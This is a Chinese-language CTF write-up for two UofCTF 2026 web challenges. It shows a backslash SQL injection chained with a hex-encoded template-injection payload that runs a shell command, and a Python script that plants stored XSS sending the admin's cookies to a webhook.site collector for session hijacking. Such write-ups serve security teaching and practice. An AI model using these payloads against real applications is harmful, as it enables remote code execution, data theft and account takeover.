2026年01月10日
UofCTF 2026
CTF
WriteUp
No Quotes
注意到以下语句可被反斜杠注入:
query = (
"SELECT id, username FROM users "
f"WHERE username = ('{username}') AND password = ('{password}')"
)
可以尝试使用反斜杠绕过得知可以 SSTI
SELECT id, username FROM users WHERE username = ('\') AND password = (') OR 1=1 -- -')"
成功注入得到 test 用户。
接下来便尝试构造 payload。为了 绕过引号检查可以利用 MySQL 可以输入十六进制字符串绕过:
# 原始 payload:
{{[].__class__.__base__.__subclasses__()[240].__init__.__globals__.__builtins__['eval']('__import__("os").popen("/readflag").read()')}}
十六进制加密后:
SELECT id, username FROM users WHERE username = ('\') AND password = (') UNION SELECT 1, 0x7b7b5b5d2e5f5f636c6173735f5f2e5f5f626173655f5f2e5f5f737562636c61737365735f5f28295b3234305d2e5f5f696e69745f5f2e5f5f676c6f62616c735f5f2e5f5f6275696c74696e735f5f5b276576616c275d28275f5f696d706f72745f5f28226f7322292e706f70656e28222f72656164666c616722292e72656164282927297d7d -- -')"
Personal Blog
XSS,关键点在于发现 /api/autosave 相比于 /api/save 少了一层过滤:const sanitized = sanitizeHtml(rawContent); 而 editor.js 中从前端进行清洗,因此可以写脚本绕过。从 magic 跳转后拿到 cookie 里的 prev_sid 就可以伪装成 Admin 访问 /flag 了。
import requests
TARGET_URL = "http://34.26.148.28:5000" # 题目地址
ATTACKER_SERVER = "https://webhook.site/fb87f92e-7ed5-4ac5-9b02-4f07ef23af21" # Webhook url
session = requests.Session()
login_data = {
"username": "loraen",
"password": " "
}
session.post(f"{TARGET_URL}/login", data=login_data)
print(session.cookies)
xss_payload = f"""
OHHHHHHH</div><img src=x onerror="fetch('{ATTACKER_SERVER}/?cookie=' + btoa(document.cookie))"><div>
"""
inject_data = {
"postId": 161,
"content": xss_payload
}
response = session.post(f"{TARGET_URL}/api/autosave", json=inject_data)
if response.status_code == 200:
print("[+] 注入成功!")
print(f"[+] 地址: {TARGET_URL}/edit/161")
else:
print("[-] 注入失败,请检查。")
# URL to visit
http://localhost:3000/magic/a3a64cc62ff6b3b9d092591126585d6b?redirect=/edit/161